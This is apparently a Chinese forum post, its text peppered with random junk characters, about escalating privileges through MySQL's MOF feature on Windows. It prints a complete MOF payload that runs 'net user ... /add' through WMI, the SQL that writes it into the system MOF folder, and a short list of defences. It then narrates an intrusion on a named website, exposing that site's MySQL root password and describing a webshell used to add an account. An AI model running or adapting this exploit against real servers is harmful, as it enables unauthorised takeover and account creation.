Mysql mof扩展漏洞实例与防范

admin

Mysql mof扩展漏洞防范方法
& n* i& M& I$ s% ?8 f& P- I
0 V1 w4 V: G* M! H网上公开的一些利用代码:
0 E! [; C0 Z2 Q. k
% W, y; O+ b, r/ u* m#pragma namespace(“\\\\.\\root\\subscription”)
' J4 k: G6 d  o* C2 v- L$ d
# {' g* `7 ], x4 b1 Tinstance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };


" A1 I& o' ?- B4 M
3 x! q/ s) k$ K& j& \

连接mysql数据库后执行： select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
" ~; j; Z6 `4 h) ^% @从上面代码来看得出解决办法：
, T: C! B* l8 T. E2 L
1、mysql用户权限控制，禁止 “load_file”、”dumpfile”等函数
  m- p8 z* C3 U
2、禁止使用”WScript.Shel”组件
- x8 O* _2 m( n# ?) ~( j
3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER
5 P7 y8 {/ s6 s% L8 i+ M
当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下

$ ]( Q- G1 t3 E4 k, A2 e2 m+ N事情是这样发生的  一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权
5 w8 _( \8 `# ]; i
' N, e1 U# Y' `  S* k但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容
0 \( H2 [; x1 f1 j" V
/ h- T( u  p: B  F看懂了后就开始练手吧

http://www.webbmw.com/config/config_ucenter.php 一句话 a

$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。
% E& c8 ?* `1 N$ D" N6 c+ o6 `. `
) _9 I) x8 H  ?% K8 A( k0 M* U5 h% o% |于是直接用菜刀开搞

9 k$ ?7 V' r5 S9 Z$ r上马先
+ C4 R6 w- b5 ^) [9 n/ F% G4 o
既然有了那些账号 之类的 于是我们就执行吧…….
: r$ n8 G7 V) {. m
小小的说下

在这里第1次执行未成功        原因未知
5 E3 t+ c/ b% j+ k1 b' H
- ^% D7 d7 d# B" ?3 x& L% x8 N: y我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。
8 ]4 e, O* k: _7 v7 C( K
#pragma namespace(“\\\\.\\root\\subscription”)

instance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };
) e7 \6 E9 N% ]# j
我是将文件放到C:\WINDOWS\temp\1.mof
6 r; _& n9 [$ R
所以我们就改下执行的代码

& \4 u/ }& x" A: Q3 Yselect load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
* P# L$ r+ {+ x! i: O; q8 H& T& r
3 F5 a/ B9 Z1 A

但是 你会发现账号还是没有躺在那里。。
/ z# y# c. C; P6 B5 Y" f1 J
. S8 i% |: N5 J于是我就感觉蛋疼
7 [) u7 O; Q  `" u# H8 G! Q
1 J, P+ l( [) a0 ?* G就去一个一个去执行 但是执行到第2个 mysql时就成功了………
; ]5 _7 n" }, U
1 Q6 P8 z# X9 J. ^& h: m

. \4 U! @$ w, F但是其他库均不成功…

我就很费解呀 到底为什么不成功求大牛解答…

5 T2 I  K1 \* a: i$ i​
" b! \6 F9 ]2 D0 W9 J
$ R: C! z. j' Y* D6 [+ x